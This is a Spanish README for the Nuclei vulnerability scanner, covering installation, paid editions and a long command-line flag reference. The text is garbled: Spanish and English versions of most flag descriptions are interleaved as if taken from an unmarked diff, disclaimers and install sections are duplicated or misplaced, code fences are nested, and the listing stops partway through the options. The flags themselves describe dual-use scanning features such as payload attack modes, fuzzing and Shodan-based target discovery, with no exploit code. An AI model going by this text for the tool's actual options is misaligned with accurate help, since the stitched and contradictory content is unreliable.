|
||||
<br>
|
||||
|
||||
---
|
||||
**Nuclei es un escáner de vulnerabilidades moderno y de alto rendimiento que aprovecha plantillas simples basadas en YAML. Te permite diseñar escenarios personalizados de detección de vulnerabilidades que imitan condiciones del mundo real, logrando cero falsos positivos.**
|
||||
|
||||
Nuclei se utiliza para enviar peticiones a múltiples objetivos basándose en una plantilla, lo que resulta en cero falsos positivos y proporciona un escaneo rápido en un gran número de hosts. Nuclei ofrece escaneos para una variedad de protocolos, incluyendo TCP, DNS, HTTP, SSL, File, Whois, Websocket, Headless, Code, etc. Con plantillas potentes y flexibles, Nuclei puede utilizarse para modelar todo tipo de comprobaciones de seguridad.
|
||||
- Formato YAML simple para crear y personalizar plantillas de vulnerabilidades.
|
||||
- Contribuido por miles de profesionales de seguridad para abordar vulnerabilidades emergentes.
|
||||
- Reduce los falsos positivos simulando pasos del mundo real para verificar una vulnerabilidad.
|
||||
- Procesamiento de escaneos paralelo ultrarrápido y agrupación de peticiones.
|
||||
- Se integra en pipelines de CI/CD para detección de vulnerabilidades y pruebas de regresión.
|
||||
- Soporta múltiples protocolos como TCP, DNS, HTTP, SSL, WHOIS, JavaScript, Code y más.
|
||||
- Se integra con Jira, Splunk, GitHub, Elastic, GitLab.
|
||||
|
||||
Tenemos un [repositorio dedicado](https://github.com/projectdiscovery/nuclei-templates) que alberga varios tipos de plantillas de vulnerabilidades, contribuidas por **más de 300** investigadores y ingenieros de seguridad.
|
||||
<br>
|
||||
<br>
|
||||
|
||||
## Cómo funciona
|
||||
## Índice
|
||||
|
||||
- [**`Primeros Pasos`**](#primeros-pasos)
|
||||
- [_`1. Nuclei CLI`_](#1-nuclei-cli)
|
||||
- [_`2. Ediciones Pro y Enterprise`_](#2-ediciones-pro-y-enterprise)
|
||||
- [**`Documentación`**](#documentación)
|
||||
- [_`Banderas de Línea de Comandos`_](#banderas-de-línea-de-comandos)
|
||||
- [_`Escaneo de un solo objetivo`_](#escaneo-de-un-solo-objetivo)
|
||||
- [_`Escaneo de múltiples objetivos`_](#escaneo-de-múltiples-objetivos)
|
||||
- [_`Escaneo de red`_](#escaneo-de-red)
|
||||
- [_`Escaneo con tu plantilla personalizada`_](#escaneo-con-tu-plantilla-personalizada)
|
||||
- [_`Conectar Nuclei a ProjectDiscovery`_](#conectar-nuclei-a-projectdiscovery)
|
||||
- [**`Plantillas de Nuclei, Comunidad y Recompensas`**](#plantillas-de-nuclei-comunidad-y-recompensas-) 💎
|
||||
- [**`Nuestra Misión`**](#nuestra-misión)
|
||||
- [**`Colaboradores`**](#colaboradores-heart) ❤
|
||||
- [**`Licencia`**](#licencia)
|
||||
|
||||
<h3 align="center">
|
||||
<img src="static/nuclei-flow.jpg" alt="nuclei-flow" width="700px"></a>
|
||||
</h3>
|
||||
<br>
|
||||
<br>
|
||||
|
||||
## Primeros Pasos
|
||||
|
||||
| :exclamation: **Descargo de responsabilidad** |
|
||||
|---------------------------------|
|
||||
| **Este proyecto está en desarrollo activo**. Es de esperar que se produzcan cambios importantes con las nuevas versiones. Consulte el registro de cambios de la versión antes de actualizar. |
|
||||
| Este proyecto fue principalmente desarrollado para ser utilizado como una herramienta CLI independiente. **Ejecutar nuclei como un servicio puede suponer riesgos de seguridad.** Se recomienda utilizarlo con precaución y tomar medidas de seguridad adicionales. |
|
||||
### **1. Nuclei CLI**
|
||||
|
||||
# Instalación de Nuclei
|
||||
_Instala Nuclei en tu máquina. Comienza siguiendo la guía de instalación [**`aquí`**](https://docs.projectdiscovery.io/tools/nuclei/install?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme). Adicionalmente, ofrecemos [**`una capa gratuita en la nube`**](https://cloud.projectdiscovery.io/sign-up) con generosos límites mensuales gratuitos:_
|
||||
|
||||
Nuclei requiere **go1.24.2** para instalarse correctamente. Ejecute el siguiente comando para instalar la última versión -
|
||||
- Almacena y visualiza tus hallazgos de vulnerabilidades
|
||||
- Escribe y gestiona tus plantillas de nuclei
|
||||
- Accede a las últimas plantillas de nuclei
|
||||
- Descubre y almacena tus objetivos
|
||||
|
||||
> [!Important]
|
||||
> |**Este proyecto está en desarrollo activo**. Espera cambios incompatibles entre versiones. Revisa el changelog antes de actualizar.|
|
||||
> |:--------------------------------|
|
||||
> | Este proyecto está construido principalmente para ser utilizado como herramienta CLI independiente. **Ejecutar nuclei como servicio puede suponer riesgos de seguridad.** Se recomienda usarlo con precaución y medidas de seguridad adicionales. |
|
||||
|
||||
<br>
|
||||
|
||||
### **2. Ediciones Pro y Enterprise**
|
||||
|
||||
_Para equipos de seguridad y empresas, ofrecemos un servicio alojado en la nube construido sobre Nuclei OSS, optimizado para ayudarte a ejecutar escaneos de vulnerabilidades de forma continua y a escala con tu equipo y flujos de trabajo existentes:_
|
||||
|
||||
- Escaneos 50x más rápidos
|
||||
- Escaneo a gran escala con alta precisión
|
||||
- Integraciones con servicios cloud (AWS, GCP, Azure, Cloudflare, Fastly, Terraform, Kubernetes)
|
||||
- Jira, Slack, Linear, APIs y Webhooks
|
||||
- Informes ejecutivos y de cumplimiento
|
||||
- Además: Escaneo en tiempo real, SAML SSO, plataforma compatible con SOC 2 (con opciones de alojamiento en UE y EE.UU.), espacios de trabajo compartidos por equipo y más
|
||||
- ¡Estamos constantemente [**`añadiendo nuevas funcionalidades`**](https://feedback.projectdiscovery.io/changelog)!
|
||||
- **Ideal para:** Pentesters, equipos de seguridad y empresas
|
||||
|
||||
[**`Regístrate en Pro`**](https://projectdiscovery.io/pricing?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme) o [**`habla con nuestro equipo`**](https://projectdiscovery.io/request-demo?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme) si tienes una organización grande y requisitos complejos.
|
||||
|
||||
<br>
|
||||
<br>
|
||||
|
||||
## Documentación
|
||||
|
||||
Consulta la [**`documentación completa de Nuclei aquí`**](https://docs.projectdiscovery.io/tools/nuclei/running). Si eres nuevo en Nuclei, mira nuestra [**`serie introductoria en YouTube`**](https://www.youtube.com/playlist?list=PLZRbR9aMzTTpItEdeNSulo8bYsvil80Rl).
|
||||
|
||||
<div align="center">
|
||||
|
||||
<a href="https://www.youtube.com/watch?v=b5qMyQvL1ZA&list=PLZRbR9aMzTTpItEdeNSulo8bYsvil80Rl&utm_source=github&utm_medium=web&utm_campaign=nuclei_readme" target="_blank"><img src="/static/nuclei-getting-started.png" width="350px"></a> <a href="https://www.youtube.com/watch?v=nFXygQdtjyw&utm_source=github&utm_medium=web&utm_campaign=nuclei_readme" target="_blank"><img src="/static/nuclei-write-your-first-template.png" width="350px"></a>
|
||||
|
||||
</div>
|
||||
|
||||
<br>
|
||||
|
||||
### Instalación
|
||||
|
||||
`nuclei` requiere **go >= 1.24.2** para instalarse correctamente. Ejecuta el siguiente comando para obtener el repositorio:
|
||||
|
||||
```sh
|
||||
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
```
|
||||
|
||||
<details>
|
||||
<summary>Brew</summary>
|
||||
|
||||
```sh
|
||||
brew install nuclei
|
||||
```
|
||||
|
||||
</details>
|
||||
<details>
|
||||
<summary>Docker</summary>
|
||||
|
||||
```sh
|
||||
docker pull projectdiscovery/nuclei:latest
|
||||
```
|
||||
|
||||
</details>
|
||||
Para saber más sobre cómo instalar nuclei, consulta `https://docs.projectdiscovery.io/tools/nuclei/install`.
|
||||
|
||||
**Más métodos de instalación [pueden encontrarse aquí](https://docs.projectdiscovery.io/tools/nuclei/install).**
|
||||
### Banderas de Línea de Comandos
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
|
||||
### Plantillas de Nuclei
|
||||
|
||||
Nuclei cuenta con soporte incorporado para la descarga/actualización automática de plantillas desde la versión [v2.5.2](https://github.com/projectdiscovery/nuclei/releases/tag/v2.5.2) en adelante. El proyecto [**Nuclei-Templates**](https://github.com/projectdiscovery/nuclei-templates) proporciona una lista de plantillas listas para usar, aportadas por la comunidad, y que se actualizan constantemente.
|
||||
|
||||
También puedes utilizar la bandera `update-templates` para actualizar las plantillas de Nuclei en cualquier momento; puedes escribir tus propias pruebas para tu flujo de trabajo y necesidades individuales siguiendo la [guía de plantillas](https://docs.projectdiscovery.io/templates/) de Nuclei.
|
||||
|
||||
La sintaxis de referencia YAML DSL está disponible [aquí](SYNTAX-REFERENCE.md).
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
### Uso
|
||||
Para mostrar todas las banderas de la herramienta:
|
||||
|
||||
```sh
|
||||
nuclei -h
|
||||
```
|
||||
|
||||
Esto mostrará ayuda sobre la herramienta. Aquí están todas las opciones que soporta.
|
||||
<details>
|
||||
<summary>Expandir todas las banderas de ayuda</summary>
|
||||
|
||||
|
||||
```console
|
||||
Nuclei es un escáner de vulnerabilidades rápido y basado en plantillas
|
||||
que se centra en su amplia configurabilidad, extensibilidad y facilidad de uso.
|
||||
```yaml
|
||||
Nuclei is a fast, template based vulnerability scanner focusing
|
||||
on extensive configurability, massive extensibility and ease of use.
|
||||
|
||||
Usage:
|
||||
./nuclei [flags]
|
||||
|
||||
Flags:
|
||||
TARGET:
|
||||
-u, -target string[] URLs/hosts a escanear
|
||||
-l, -list string ruta al archivo que contiene la lista de URLs/hosts a escanear (uno por línea)
|
||||
-eh, -exclude-hosts string[] hosts a excluir para escanear de la lista de entrada (ip, cidr, hostname)
|
||||
-resume string reanudar el escaneo desde y guardar en el archivo especificado (la clusterización quedará inhabilitada)
|
||||
-sa, -scan-all-ips escanear todas las IP asociadas al registro dns
|
||||
-iv, -ip-version string[] versión IP a escanear del nombre de host (4,6) - (por defecto 4)
|
||||
-u, -target string[] target URLs/hosts to scan
|
||||
-l, -list string path to file containing a list of target URLs/hosts to scan (one per line)
|
||||
-targets-inline string inline multiline target list (for use in template profiles)
|
||||
-eh, -exclude-hosts string[] hosts to exclude to scan from the input list (ip, cidr, hostname)
|
||||
-resume string resume scan from and save to specified file (clustering will be disabled)
|
||||
-sa, -scan-all-ips scan all the IP's associated with dns record
|
||||
-iv, -ip-version string[] IP version to scan of hostname (4,6) - (default 4)
|
||||
|
||||
TARGET-FORMAT:
|
||||
-im, -input-mode string modo del archivo de entrada (list, burp, jsonl, yaml, openapi, swagger) (por defecto "list")
|
||||
-ro, -required-only utilizar solo campos requeridos en el formato de entrada al generar peticiones
|
||||
-sfv, -skip-format-validation saltar la validación de formato (como variables faltantes) al procesar el archivo de entrada
|
||||
-im, -input-mode string mode of input file (list, burp, jsonl, yaml, openapi, swagger, http) (default "list")
|
||||
-ro, -required-only use only required fields in input format when generating requests
|
||||
-sfv, -skip-format-validation skip format validation (like missing vars) when parsing input file
|
||||
-vtt, -vars-text-templating enable text templating for vars in input file (only for yaml input mode)
|
||||
-vfp, -var-file-paths string[] list of yaml file contained vars to inject into yaml input
|
||||
|
||||
TEMPLATES:
|
||||
-nt, -new-templates ejecutar sólo las nuevas plantillas añadidas en la última versión de nuclei-templates
|
||||
-ntv, -new-templates-version string[] ejecutar las nuevas plantillas añadidas en la versión especificada
|
||||
-as, -automatic-scan escaneo web automático utilizando la detección de tecnología de wappalyzer para mapeo de etiquetas
|
||||
-t, -templates string[] lista de plantillas o directorio de plantillas a ejecutar (separadas por comas, file)
|
||||
-turl, -template-url string[] url de plantilla o lista que contiene urls de plantillas a ejecutar (separadas por comas, file)
|
||||
-w, -workflows string[] lista de flujos de trabajo o directorio de flujos de trabajo a ejecutar (separadas por comas, file)
|
||||
-wurl, -workflow-url string[] url de flujo de trabajo o lista que contiene urls de flujo de trabajo para ejecutar (separadas por comas, file)
|
||||
-validate valida las plantillas pasadas a nuclei
|
||||
-nss, -no-strict-syntax deshabilita la comprobación de sintaxis estricta en las plantillas
|
||||
-td, -template-display muestra el contenido de las plantillas
|
||||
-tl lista todas las plantillas disponibles
|
||||
-tgl lista todas las etiquetas disponibles
|
||||
-sign firma las plantillas con la clave privada definida en la variable de entorno NUCLEI_SIGNATURE_PRIVATE_KEY
|
||||
-code habilita la carga de plantillas basadas en protocolos de código
|
||||
-dut, -disable-unsigned-templates deshabilita la ejecución de plantillas no firmadas o plantillas con firma no coincidente
|
||||
-nt, -new-templates run only new templates added in latest nuclei-templates release
|
||||
-ntv, -new-templates-version string[] run new templates added in specific version
|
||||
-as, -automatic-scan automatic web scan using wappalyzer technology detection to tags mapping
|
||||
-t, -templates string[] list of template or template directory to run (comma-separated, file)
|
||||
-turl, -template-url string[] template url or list containing template urls to run (comma-separated, file)
|
||||
-ai, -prompt string generate and run template using ai prompt
|
||||
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
|
||||
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
|
||||
-validate validate the passed templates to nuclei
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
-tl list all templates matching current filters
|
||||
-tgl list all available tags
|
||||
-sign signs the templates with the private key defined in NUCLEI_SIGNATURE_PRIVATE_KEY env variable
|
||||
-code enable loading code protocol-based templates
|
||||
-dut, -disable-unsigned-templates disable running unsigned templates or templates with mismatched signature
|
||||
-esc, -enable-self-contained enable loading self-contained templates
|
||||
-egm, -enable-global-matchers enable loading global matchers templates
|
||||
-file enable loading file templates
|
||||
|
||||
FILTERING:
|
||||
-a, -author string[] plantillas a ejecutar basadas en autores (separadas por comas, file)
|
||||
-tags string[] plantillas a ejecutar basadas en etiquetas (separadas por comas, file)
|
||||
-etags, -exclude-tags string[] plantillas a excluir basadas en etiquetas (separadas por comas, file)
|
||||
-itags, -include-tags string[] etiquetas a ejecutar incluso si están excluidas ya sea por defecto o por configuración
|
||||
-id, -template-id string[] plantillas a ejecutar basadas en IDs de plantilla (comma-separated, file, allow-wildcard)
|
||||
-eid, -exclude-id string[] plantillas a excluir basadas en IDs de plantilla (separadas por comas, file)
|
||||
-it, -include-templates string[] ruta al archivo de plantilla o directorio a ejecutar incluso si están excluidas ya sea por defecto o por configuración
|
||||
-et, -exclude-templates string[] ruta al archivo de plantilla o directorio a excluir (separadas por comas, file)
|
||||
-em, -exclude-matchers string[] matchers de plantilla a excluir en el resultado
|
||||
-s, -severity value[] plantillas a ejecutar basadas en criticidad. Valores posibles: info, bajo, medio, alto, crítico, desconocido
|
||||
-es, -exclude-severity value[] plantillas a excluir basadas en criticidad. Valores posibles: info, bajo, medio, alto, crítico, desconocido
|
||||
-pt, -type value[] plantillas a ejecutar basadas en tipo de protocolo. Valores posibles: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-ept, -exclude-type value[] plantillas a excluir basadas en tipo de protocolo. Valores posibles: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-tc, -template-condition string[] plantillas a ejecutar basadas en condición de expresión
|
||||
-a, -author string[] templates to run based on authors (comma-separated, file)
|
||||
-tags string[] templates to run based on tags (comma-separated, file)
|
||||
-etags, -exclude-tags string[] templates to exclude based on tags (comma-separated, file)
|
||||
-itags, -include-tags string[] tags to be executed even if they are excluded either by default or configuration
|
||||
-id, -template-id string[] templates to run based on template ids (comma-separated, file, allow-wildcard)
|
||||
-eid, -exclude-id string[] templates to exclude based on template ids (comma-separated, file)
|
||||
-it, -include-templates string[] path to template file or directory to be executed even if they are excluded either by default or configuration
|
||||
-et, -exclude-templates string[] path to template file or directory to exclude (comma-separated, file)
|
||||
-em, -exclude-matchers string[] template matchers to exclude in result
|
||||
-s, -severity value[] templates to run based on severity. Possible values: info, low, medium, high, critical, unknown
|
||||
-es, -exclude-severity value[] templates to exclude based on severity. Possible values: info, low, medium, high, critical, unknown
|
||||
-pt, -type value[] templates to run based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-ept, -exclude-type value[] templates to exclude based on protocol type. Possible values: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-tc, -template-condition string[] templates to run based on expression condition
|
||||
|
||||
OUTPUT:
|
||||
-o, -output string archivo de salida donde guardar las incidencias/vulnerabilidades detectadas
|
||||
-sresp, -store-resp almacenar todas las peticiones/respuestas enviadas por nuclei en el directorio de salida
|
||||
-srd, -store-resp-dir string almacenar todas las peticiones/respuestas enviadas por nuclei en un directorio personalizado (por defecto "output")
|
||||
-silent mostrar resultados únicamente
|
||||
-nc, -no-color deshabilitar la coloración del contenido de salida (códigos de escape ANSI)
|
||||
-j, -jsonl escribir la salida en formato JSONL(ines)
|
||||
-irr, -include-rr -omit-raw incluir pares peticiones/respuesta en las salidas JSON, JSONL y Markdown (sólo para hallazgos) [OBSOLETO usar -omit-raw] (por defecto true)
|
||||
-or, -omit-raw omitir los pares peticiones/respuesta en las salidas JSON, JSONL y Markdown (sólo para hallazgos)
|
||||
-ot, -omit-template omitir plantilla codificada en la salida JSON, JSONL
|
||||
-nm, -no-meta deshabilitar la impresión de metadatos de resultados en la salida cli
|
||||
-ts, -timestamp habilitar la impresión de la marca de tiempo en la salida cli
|
||||
-rdb, -report-db string base de datos de informes de nuclei (utilizarla siempre para persistir los datos de los informes)
|
||||
-ms, -matcher-status mostrar el estado de fallo de coincidencia
|
||||
-me, -markdown-export string directorio para exportar resultados en formato markdown
|
||||
-se, -sarif-export string archivo para exportar resultados en formato SARIF
|
||||
-je, -json-export string archivo para exportar resultados en formato JSON
|
||||
-jle, -jsonl-export string archivo para exportar resultados en formato JSONL(ines)
|
||||
-o, -output string output file to write found issues/vulnerabilities
|
||||
-sresp, -store-resp store all request/response passed through nuclei to output directory
|
||||
-srd, -store-resp-dir string store all request/response passed through nuclei to custom directory (default "output")
|
||||
-silent display findings only
|
||||
-nc, -no-color disable output content coloring (ANSI escape codes)
|
||||
-j, -jsonl write output in JSONL(ines) format
|
||||
-irr, -include-rr -omit-raw include request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only) [DEPRECATED use -omit-raw] (default true)
|
||||
-or, -omit-raw omit request/response pairs in the JSON, JSONL, and Markdown outputs (for findings only)
|
||||
-ot, -omit-template omit encoded template in the JSON, JSONL output
|
||||
-nm, -no-meta disable printing result metadata in cli output
|
||||
-ts, -timestamp enables printing timestamp in cli output
|
||||
-rdb, -report-db string nuclei reporting database (always use this to persist report data)
|
||||
-ms, -matcher-status display match failure status
|
||||
-me, -markdown-export string directory to export results in markdown format
|
||||
-se, -sarif-export string file to export results in SARIF format
|
||||
-je, -json-export string file to export results in JSON format
|
||||
-jle, -jsonl-export string file to export results in JSONL(ine) format
|
||||
-pe, -pdf-export string file to export results in PDF format
|
||||
-rd, -redact string[] redact given list of keys from query parameter, request header and body
|
||||
|
||||
CONFIGURATIONS:
|
||||
-config string ruta al archivo de configuración de nuclei
|
||||
-fr, -follow-redirects habilitar el seguimiento de redirecciones para plantillas http
|
||||
-fhr, -follow-host-redirects seguir redirecciones en el mismo host
|
||||
-mr, -max-redirects int número máximo de redirecciones a seguir para plantillas http (por defecto 10)
|
||||
-dr, -disable-redirects deshabilitar redirecciones para plantillas http
|
||||
-rc, -report-config string archivo de configuración del módulo de informes de nuclei
|
||||
-H, -header string[] encabezado/cookie personalizado a incluir en todas las peticiones http en formato header:value (cli, file)
|
||||
-V, -var value variables personalizadas en formato key=value
|
||||
-r, -resolvers string archivo que contiene lista de resolutores para nuclei
|
||||
-sr, -system-resolvers utilizar resolución de DNS del sistema como fallback de error
|
||||
-dc, -disable-clustering deshabilitar la clusterización de peticiones
|
||||
-passive habilitar el modo de procesamiento pasivo de respuestas HTTP
|
||||
-fh2, -force-http2 forzar la conexión http2 en las peticiones
|
||||
-ev, -env-vars habilitar el uso de variables de entorno en la plantilla
|
||||
-cc, -client-cert string archivo de certificado de cliente (codificado en PEM) utilizado para autenticarse contra los hosts escaneados
|
||||
-ck, -client-key string archivo de clave de cliente (codificado en PEM) utilizado para autenticarse contra los hosts escaneados
|
||||
-ca, -client-ca string archivo de autoridad de certificación de cliente (codificado en PEM) utilizado para autenticarse contra los hosts escaneados
|
||||
-sml, -show-match-line mostrar líneas de coincidencia para plantillas de archivo, funciona solo con extractores
|
||||
-ztls utilizar la biblioteca ztls con autofallback a estándar para tls13 [Obsoleto] autofallback a ztls está habilitado por defecto
|
||||
-sni string nombre de host tls sni a usar (por defecto: nombre de dominio de entrada)
|
||||
-dt, -dialer-timeout value tiempo de espera para peticiones de red
|
||||
-dka, -dialer-keep-alive value duración de keep-alive para peticiones de red
|
||||
-lfa, -allow-local-file-access permite el acceso a archivos (carga útil) en cualquier lugar del sistema
|
||||
-lna, -restrict-local-network-access bloquea conexiones a la red local / privada
|
||||
-i, -interface string interfaz de red a usar para el escaneo de red
|
||||
-at, -attack-type string tipo de combinaciones de carga útil a realizar (batteringram, pitchfork, clusterbomb)
|
||||
-sip, -source-ip string dirección ip de origen a usar para el escaneo de red
|
||||
-rsr, -response-size-read int tamaño máximo de respuesta a leer en bytes (por defecto 10485760)
|
||||
-rss, -response-size-save int tamaño máximo de respuesta a guardar en bytes (por defecto 1048576)
|
||||
-reset reset elimina todos los archivos de configuración y datos de nuclei (incluidas las nuclei-templates)
|
||||
-tlsi, -tls-impersonate habilitar client hello (ja3) tls randomization experimental
|
||||
-config string path to the nuclei configuration file
|
||||
-tp, -profile string template profile config file to run
|
||||
-tpl, -profile-list list community template profiles
|
||||
-fr, -follow-redirects enable following redirects for http templates
|
||||
-fhr, -follow-host-redirects follow redirects on the same host
|
||||
-mr, -max-redirects int max number of redirects to follow for http templates (default 10)
|
||||
-dr, -disable-redirects disable redirects for http templates
|
||||
-rc, -report-config string nuclei reporting module configuration file
|
||||
-H, -header string[] custom header/cookie to include in all http request in header:value format (cli, file)
|
||||
-V, -var value custom vars in key=value format
|
||||
-r, -resolvers string file containing resolver list for nuclei
|
||||
-sr, -system-resolvers use system DNS resolving as error fallback
|
||||
-dc, -disable-clustering disable clustering of requests
|
||||
-passive enable passive HTTP response processing mode
|
||||
-fh2, -force-http2 force http2 connection on requests
|
||||
-ev, -env-vars enable environment variables to be used in template
|
||||
-cc, -client-cert string client certificate file (PEM-encoded) used for authenticating against scanned hosts
|
||||
-ck, -client-key string client key file (PEM-encoded) used for authenticating against scanned hosts
|
||||
-ca, -client-ca string client certificate authority file (PEM-encoded) used for authenticating against scanned hosts
|
||||
-sml, -show-match-line show match lines for file templates, works with extractors only
|
||||
-ztls use ztls library with autofallback to standard one for tls13 [Deprecated] autofallback to ztls is enabled by default
|
||||
-sni string tls sni hostname to use (default: input domain name)
|
||||
-dka, -dialer-keep-alive value keep-alive duration for network requests.
|
||||
-lfa, -allow-local-file-access allows file (payload) access anywhere on the system
|
||||
-lna, -restrict-local-network-access blocks connections to the local / private network
|
||||
-i, -interface string network interface to use for network scan
|
||||
-at, -attack-type string type of payload combinations to perform (batteringram,pitchfork,clusterbomb)
|
||||
-sip, -source-ip string source ip address to use for network scan
|
||||
-rsr, -response-size-read int max response size to read in bytes
|
||||
-rss, -response-size-save int max response size to read in bytes (default 1048576)
|
||||
-reset reset removes all nuclei configuration and data files (including nuclei-templates)
|
||||
-tlsi, -tls-impersonate enable experimental client hello (ja3) tls randomization
|
||||
-hae, -http-api-endpoint string experimental http api endpoint
|
||||
|
||||
INTERACTSH:
|
||||
-iserver, -interactsh-server string url del servidor interactsh para instancia autoalojada (por defecto: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
|
||||
-itoken, -interactsh-token string token de autenticación del servidor interactsh autoalojado
|
||||
-interactions-cache-size int número de peticiones a mantener en la caché de interacciones (por defecto 5000)
|
||||
-interactions-eviction int número de segundos a esperar antes de eliminar las solicitudes de la caché (por defecto 60)
|
||||
-interactions-poll-duration int número de segundos a esperar antes de cada solicitud de polling de interacciones (por defecto 5)
|
||||
-interactions-cooldown-period int tiempo adicional para el polling de interacciones antes de salir (por defecto 5)
|
||||
-ni, -no-interactsh desactivar el servidor interactsh para pruebas OAST, excluir plantillas basadas en OAST
|
||||
-iserver, -interactsh-server string interactsh server url for self-hosted instance (default: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
|
||||
-itoken, -interactsh-token string authentication token for self-hosted interactsh server
|
||||
-interactions-cache-size int number of requests to keep in the interactions cache (default 5000)
|
||||
-interactions-eviction int number of seconds to wait before evicting requests from cache (default 60)
|
||||
-interactions-poll-duration int number of seconds to wait before each interaction poll request (default 5)
|
||||
-interactions-cooldown-period int extra time for interaction polling before exiting (default 5)
|
||||
-ni, -no-interactsh disable interactsh server for OAST testing, exclude OAST based templates
|
||||
|
||||
FUZZING:
|
||||
-ft, -fuzzing-type string sobrescribe el tipo de fuzzing establecido en la plantilla (replace, prefix, postfix, infix)
|
||||
-fm, -fuzzing-mode string sobrescribe el modo de fuzzing establecido en la plantilla (multiple, single)
|
||||
-fuzz habilita la carga de plantillas de fuzzing (Obsoleto: usar -dast en su lugar)
|
||||
-dast solo ejecuta plantillas DAST
|
||||
-ft, -fuzzing-type string overrides fuzzing type set in template (replace, prefix, postfix, infix)
|
||||
-fm, -fuzzing-mode string overrides fuzzing mode set in template (multiple, single)
|
||||
-fuzz enable loading fuzzing templates (Deprecated: use -dast instead)
|
||||
-dast enable / run dast (fuzz) nuclei templates
|
||||
-dts, -dast-server enable dast server mode (live fuzzing)
|
||||
-dtr, -dast-report write dast scan report to file
|
||||
-dtst, -dast-server-token string dast server token (optional)
|
||||
-dtsa, -dast-server-address string dast server address (default "localhost:9055")
|
||||
-dfp, -display-fuzz-points display fuzz points in the output for debugging
|
||||
-fuzz-param-frequency int frequency of uninteresting parameters for fuzzing before skipping (default 10)
|
||||
-fa, -fuzz-aggression string fuzzing aggression level controls payload count for fuzz (low, medium, high) (default "low")
|
||||
-cs, -fuzz-scope string[] in scope url regex to be followed by fuzzer
|
||||
-cos, -fuzz-out-scope string[] out of scope url regex to be excluded by fuzzer
|
||||
|
||||
UNCOVER:
|
||||
-uc, -uncover habilita el motor uncover
|
||||
-uq, -uncover-query string[] consulta de búsqueda uncover
|
||||
-ue, -uncover-engine string[] motor de búsqueda uncover (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow) (por defecto shodan)
|
||||
-uf, -uncover-field string campos uncover a devolver (ip,port,host) (por defecto "ip:port")
|
||||
-ul, -uncover-limit int resultados uncover a devolver (por defecto 100)
|
||||
-ur, -uncover-ratelimit int sobrescribe el límite de velocidad de los motores con el límite de velocidad del motor uncover (por defecto 60 req/min) (por defecto 60)
|
||||
-uc, -uncover enable uncover engine
|
||||
-uq, -uncover-query string[] uncover search query
|
||||
-ue, -uncover-engine string[] uncover search engine (shodan,censys,fofa,shodan-idb,quake,hunter,zoomeye,netlas,criminalip,publicwww,hunterhow,google) (default shodan)
|
||||
-uf, -uncover-field string uncover fields to return (ip,port,host) (default "ip:port")
|
||||
-ul, -uncover-limit int uncover results to return (default 100)
|
||||
-ur, -uncover-ratelimit int override ratelimit of engines with unknown ratelimit (default 60 req/min) (default 60)
|
||||
|
||||
RATE-LIMIT:
|
||||
-rl, -rate-limit int número máximo de peticiones a enviar por segundo (por defecto 150)
|
||||
-rlm, -rate-limit-minute int número máximo de peticiones a enviar por minuto
|
||||
-bs, -bulk-size int número máximo de hosts a ser analizados en paralelo por plantilla (por defecto 25)
|
||||
-c, -concurrency int número máximo de plantillas a ejecutar en paralelo (por defecto 25)
|
||||
-hbs, -headless-bulk-size int número máximo de hosts headless a ser analizados en paralelo por plantilla (por defecto 10)
|
||||
-headc, -headless-concurrency int número máximo de plantillas headless a ejecutar en paralelo (por defecto 10)
|
||||
-jsc, -js-concurrency int número máximo de entornos de ejecución de JavaScript a ejecutar en paralelo (por defecto 120)
|
||||
-pc, -payload-concurrency int concurrencia máxima de carga útil para cada plantilla (por defecto 25)
|
||||
-tlc, -template-loading-concurrency int número máximo de operaciones de carga de plantillas concurrentes (por defecto 50)
|
||||
-rl, -rate-limit int maximum number of requests to send per second (default 150)
|
||||
-rld, -rate-limit-duration value maximum number of requests to send per second (default 1s)
|
||||
-per-host-rate-limit enable per-host rate limiting (global rate limit becomes unlimited when enabled)
|
||||
-rlm, -rate-limit-minute int maximum number of requests to send per minute (DEPRECATED)
|
||||
-bs, -bulk-size int maximum number of hosts to be analyzed in parallel per template (default 25)
|
||||
-c, -concurrency int maximum number of templates to be executed in parallel (default 25)
|
||||
-hbs, -headless-bulk-size int maximum number of headless hosts to be analyzed in parallel per template (default 10)
|
||||
-headc, -headless-concurrency int maximum number of headless templates to be executed in parallel (default 10)
|
||||
-jsc, -js-concurrency int maximum number of javascript runtimes to be executed in parallel (default 120)
|
||||
-pc, -payload-concurrency int max payload concurrency for each template (default 25)
|
||||
-prc, -probe-concurrency int http probe concurrency with httpx (default 50)
|
||||
-tlc, -template-loading-concurrency int maximum number of concurrent template loading operations (default 50)
|
||||
|
||||
OPTIMIZATIONS:
|
||||
-timeout int tiempo de espera en segundos (por defecto 10)
|
||||
-retries int número de veces que se reintenta una petición fallida (por defecto 1)
|
||||
-ldp, -leave-default-ports dejar puertos HTTP/HTTPS predeterminados (por ejemplo, host:80,host:443)
|
||||
-mhe, -max-host-error int errores máximos para un host antes de omitirlo del escaneo (por defecto 30)
|
||||
-te, -track-error string[] agrega el error dado a la lista de seguimiento de errores máximos por host (standard, file)
|
||||
-nmhe, -no-mhe deshabilita la omisión del host del escaneo basado en errores
|
||||
-project utiliza una carpeta de proyecto para evitar enviar la misma petición varias veces
|
||||
-project-path string establece una ruta de proyecto específica (por defecto "/tmp")
|
||||
-spm, -stop-at-first-match detiene el procesamiento de las peticiones HTTP después de la primera coincidencia (puede romper la lógica de la plantilla/flujo de trabajo)
|
||||
-stream modo transmisión - comienza a trabajar sin ordenar la entrada
|
||||
